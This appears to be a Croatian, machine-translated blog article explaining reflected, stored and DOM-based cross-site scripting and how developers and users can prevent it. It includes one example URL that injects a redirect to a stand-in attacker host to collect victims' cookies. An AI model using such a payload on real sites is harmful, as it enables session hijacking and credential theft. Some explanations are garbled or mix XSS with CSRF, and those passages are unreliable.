Cross-site skriptiranje ili XSS mogu biti moćan i brz napad. Kao programer, mogli biste ga čak smatrati greškom u svom kodu i na kraju potražiti greške kojih nema.
Kao klijent koji koristi ranjivu web stranicu, također možete nevino otkriti vitalne informacije o svom pristupu provjeri autentičnosti napadaču.
Pa što je cross-site skriptiranje? Kako ga hakeri mogu iskoristiti za provaljivanje na web stranicu i krađu vaših podataka? I kako možete ublažiti takav rizik?
Što je skriptiranje na više web lokacija?
Cross-site skriptiranje ili XSS događa se ako skripta sa zlonamjernog web mjesta komunicira s kodom na ranjivom.
No poslužitelji su ožičeni na način koji sprečava ljude bez provjere autentičnosti da pristupe i urede izvorni kod vašeg web mjesta.
Internet koristi politiku istog podrijetla (SOP) za blokiranje interakcija na više web lokacija. Međutim, SOP provjerava tri glavne sigurnosne rupe i pokušava ih ublažiti. Oni su:
- Politika internetskog protokola koja provjerava isporučuju li obje web stranice sadržaj na sigurnom SSL-u (HTTPS) ili nesigurnom URL-u (HTTP).
- Ista pravila o web hostingu koja osiguravaju da obje web lokacije hostirate na istoj domeni.
- Pravilo luke koje provjerava koriste li obje web stranice slične komunikacijske krajnje točke.
SOP drži da ako se bilo koja od ovih pravila razlikuje za bilo koje dvije web stranice, ne može čitati niti razmjenjivati podatke putem weba.
Ali JavaScript je manipulativni jezik koji određuje odziv web stranice. Iako je JavaScript vašeg web mjesta najvjerojatnije u zasebnoj datoteci, također možete stvoriti oznaku skripte i zapisati je u svoj objektni model dokumenta (DOM).
Tako bi napadač XSS mogao pomisliti: "ako JavaScript možete pisati u DOM, u konačnici ga možete izvršiti u bilo koji uređivač koda ili polje za unos koje prihvaća HTML oznake. "
Takva ranjivost i šansa je ono na što napadač koji koristi XSS pazi na ciljanom web mjestu. Jednom kad pronađu takvu rupu, mogu zaobići SOP.
Povezano: Ultimativni JavaScript varalica
XSS je, dakle, napad koji otmičari koriste za ubrizgavanje skripte koja izvodi zlonamjernu radnju na ranjivu web stranicu. Skripta može ciljati nezaštićene obrasce ili polja za unos koja prihvaćaju podatke.
Kako djeluju i vrste skriptiranja na različitim mjestima, s primjerima
XSS može biti brzo izvršavanje reflektirane ili privremene skripte koju napadač postavlja u obrasce poput polja za pretraživanje. To također može biti mučno ili trajno ubrizgano u bazu podataka. Ili može pasivno doći nakon učitavanja stranice.
U nekim slučajevima, ova skripta može promijeniti i žrtvin izvorni unos kako bi preusmjerila njegovu namjeru. Ovakva trajna promjena korisnikovih unosa mutira XSS.
U bilo kojem obliku, cilj XSS napada je ukrasti podatke žrtve putem izloženih kolačića i dnevnika.
Pogledajmo kratko objašnjenje svake od ovih vrsta XSS napada i njihove primjere da bismo razumjeli što su.
Što je reflektirani XSS?
Reflektirani ili privremeni XSS izravno je ubrizgavanje JavaScript-a u polje za unos korisnika. Cilja zahtjeve koji dobivaju podatke iz baze podataka, poput rezultata pretraživanja. Ali to je napad jedan-klijent-meta.
Tijekom reflektiranog XSS-a napadač ubacuje skriptu u pojam za pretraživanje ciljane žrtve. Takav JavaScript može biti odjek, preusmjeravanje ili prikupljanje kolačića.
Skripta ubrizgana u polje za unos pretraživanja zatim se izvršava čim ciljni klijent pošalje svoj upit.
Na primjer, tijekom korisnikova pretraživanja napadač može umetnuti JavaScript koji odzvanja obrascem tražeći da žrtva unese lozinku ili korisničko ime. Jednom kada korisnik to učini, mogao bi na kraju nesvjesno predati svoje vjerodajnice napadaču, misleći da je to zahtjev originalne web stranice.
Ponekad napadač također može koristiti skriptu za preusmjeravanje korisnika s ranjive stranice na njegovu stranicu. Na stranici napadača, nesumnjivi korisnik tada može biti prevaren da je poslao nekoliko obrazaca, što dovodi do curenja vjerodajnica.
Slično tome, ako je cilj ukrasti korisnikovu sesiju, napadač ubrizga skriptu za prikupljanje kolačića u korisnikov pojam za pretraživanje. Zatim otmu trenutnu sesiju korisnika, ukradu relevantne informacije i preuzmu žrtvine aktivnosti.
Primjer XSS napada u nastavku krade korisnikov kolačić putem GET zahtjeva:
http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")
U gornjem primjeru XSS-a napadač pronalazi rupu na ranjivoj web lokaciji. Dakle, kada korisnik traži nedostupni resurs na ranjivoj web lokaciji, preusmjerava ga na stranicu napadača. Zatim napadač dodirne kolačić trenutnog korisnika i uhvati njihovu sesiju.
Međutim, ova je ranjivost uobičajena kada se radnja upita web lokacije ne filtrira radi provjere ubrizgavanja skripti kroz HTML.
Ali čak i ako postoji filtrirani upit, napadač to može zaobići pribjegavajući očajnim mjerama poput slanja veza do mogućih korisnika web mjesta u stvarnom vremenu. To mogu učiniti koristeći bilo koji oblik socijalnog inženjeringa njima dostupna.
Povezano: Što učiniti nakon pada na phishing napad
Jednom kad žrtve kliknu takvu vezu, otmičar sada može uspješno izvršiti XSS napad i ukrasti relevantne podatke od žrtve.
Stalno ili pohranjeno skriptiranje na više web lokacija
Pohranjeni XSS predstavlja više prijetnji. U tom slučaju napadač skriptu pohranjuje u bazu podataka web mjesta, što pokreće trajno izvršavanje pohranjene skripte. Pohranjeni kod može se izvoditi pri učitavanju stranice ili nakon učitavanja stranice.
Za razliku od privremenog oblika XSS-a, pohranjeni XSS cilja cijelu bazu korisnika ranjive web stranice. Uz to, cilja i integritet pogođene web stranice.
Tijekom trajnog XSS-a napadač koristi polja za unos kao što su obrasci za komentare za postavljanje skripte u bazu podataka web mjesta.
Ali što ako POST polja zaštitite CSRF tokenima? Nažalost, pohranjeno skriptiranje na više web lokacija zaobilazi provjere CSRF-a.
To je zato što napadač preda obrazac kao i svaki drugi korisnik web stranice. Dakle, takav obrazac za komentar šalje skriptu u bazu podataka kao i svi ostali komentari.
Takav napad može se dogoditi kada polja za unos na web mjestu ne koriste odgovarajuće sredstva za dezinfekciju za izbjegavanje skripti i HTML oznaka.
Zamislite da korisnik postavlja skriptu u nastavku pomoću web obrasca za komentar:
Kada napadač ubaci takav kôd u bazu podataka web mjesta, on neprestano preusmjerava žrtvu na web mjesto napadača prilikom učitavanja stranice. Skripta također može biti upozorenje, interaktivni modalni okvir ili ugrađeni zlonamjerni oglas.
Budući da skripta preusmjerava pri učitavanju stranice, žrtva koja nije upoznata s ranjivim web mjestom možda neće primijetiti preusmjeravanje.
Zatim nastavljaju interakciju s web mjestom napadača. Međutim, otmičar tada može na nekoliko načina dobiti informacije od žrtava nakon što se nađu na njihovoj web stranici.
Što je DOM ili pasivni XSS?
DS-ov XSS izvršava zlonamjerni kôd ugrađen u web mjesto, prisiljavajući cijeli DOM na strani klijenta da se ponaša neobično.
Dok je pohranjen i odražen XSS cilja zahtjeve na strani poslužitelja na web mjestu, DOM XSS cilja radne aktivnosti. Djeluje umetanjem skripte u komponentu web mjesta koja izvršava određeni zadatak. Ta komponenta ne izvršava radnju na poslužitelju.
Međutim, skripta umetnuta u takvu komponentu u potpunosti mijenja njezinu namjeru. Ako ova komponenta izvršava zadatak povezan s DOM-om, poput onih koji mijenjaju elemente web mjesta, skripta bi mogla prisiliti cijelu web stranicu na promjenu.
U gorim slučajevima, XSS zasnovan na DOM-u može oponašati pogrešku. To je zato što web stranica postaje neobično reaktivna.
Kako spriječiti napad skriptiranjem na više web lokacija
XSS ranjivost dolazi od nepravilne upotrebe najboljih pozadinskih praksi. Dakle, sprječavanje napada skriptiranja na više lokacija obično je odgovornost programera. Ali korisnici također imaju svoju ulogu.
Korištenje CSFR tokena za polja unosa ne čini se rješenjem za XSS napade. A budući da ovaj napad također zaobilazi Pravila istog podrijetla, programeri moraju biti oprezni da ne izostavljaju sigurnosne prakse koje sprečavaju XSS.
Sljedeće preventivne mjere korisne su za programere.
Sanitizirajte polja za unos
Da biste spriječili pohranjeni i privremeni XSS, trebali biste koristiti učinkovita sredstva za dezinfekciju za polja unosa. Sanitiziranje upita za pretraživanje, na primjer, sprječava ubrizgavanje oznaka u korisničke pojmove za pretraživanje.
Koristite Unicode i HTML Auto Escape
Korisno je koristiti HTML i Unicode automatsko izbjegavanje kako biste spriječili polja za unos poput obrazaca za komentare i pretvorbu da prihvaćaju skripte i HTML oznake. Automatsko bijeg snažna je preventivna mjera protiv pohranjenog ili trajnog XSS-a.
Dopustiti korisnicima da umetnu oznake u obrasce za komentare loša je ideja za bilo koju web stranicu. To je narušavanje sigurnosti. Međutim, ako to morate dopustiti, trebali biste prihvatiti samo oznake koje ne predstavljaju XSS prijetnje.
Koristite odgovarajuću provjeru valjanosti
Čak i ako u potpunosti blokirate oznake, napadač i dalje može izvršiti XSS napad putem društvenih sredstava. Oni mogu slati e-poštu umjesto da stavljaju bilo što izravno na ranjivu web stranicu.
Dakle, druga metoda sprječavanja je učinkovita provjera ulaznih podataka. Takve mjere uključuju provjeru valjanosti protokola i osiguravanje da vaše web mjesto prihvaća samo unose sa sigurnog HTTPS-a, a ne i HTTP-a.
Korištenje namjenskih JavaScript knjižnica poput dompurify također može pomoći u blokiranju sigurnosnih proboja povezanih s XSS-om.
Možete koristiti alate poput XSS skener ili GEEKFLARE da provjerite ima li XSS ranjivosti na vašem web mjestu.
Kako korisnici mogu spriječiti XSS
Danas na internetu postoje milijuni web stranica. Tako da teško možete reći koja ima XSS sigurnosne probleme.
Međutim, kao korisnik trebali biste biti sigurni da ste upoznati s bilo kojom web uslugom prije nego što je upotrijebite. Ako web stranica iznenada postane jeziva ili se počne ponašati neobično, to može biti crvena zastavica.
Bez obzira na slučaj, pazite da osobne podatke ne otkrijete nepouzdanoj trećoj strani. Tada budite u potrazi za neželjenom e-poštom ili sumnjivim objavama na društvenim mrežama koje mogu rezultirati bilo kojim oblik phishing napada.
Nijedna preventivna metoda ne odgovara svima
Vidjeli smo kako izgleda XSS napad i kako ga spriječiti. Tijekom razvoja lako je zaboraviti XSS sigurnosne provjere. Stoga bi programeri trebali poduzeti korake kako bi osigurali da zaštita ne bude izostavljena. Međutim, kombinacija preventivnih mjera koje smo ranije naveli djeluje bolje.
Kako bi zaustavili gubitak gotovine i vjerodajnica u CSRF napadima, programeri i korisnici moraju igrati svoju ulogu.
- Sigurnost
- JavaScript
- Sigurnost preglednika
Idowu je zaljubljen u sve pametne tehnologije i produktivnost. U slobodno vrijeme igra se s kodiranjem i prebacuje se na šahovsku ploču kad mu je dosadno, ali također voli kad-tad odvojiti se od rutine. Njegova strast da ljudima pokaže put oko moderne tehnologije motivira ga da piše više.
Pretplatite se na naše obavijesti
Pridružite se našem biltenu za tehničke savjete, recenzije, besplatne e-knjige i ekskluzivne ponude!
Još jedan korak…!
Molimo potvrdite svoju e-adresu u e-pošti koju smo vam upravo poslali.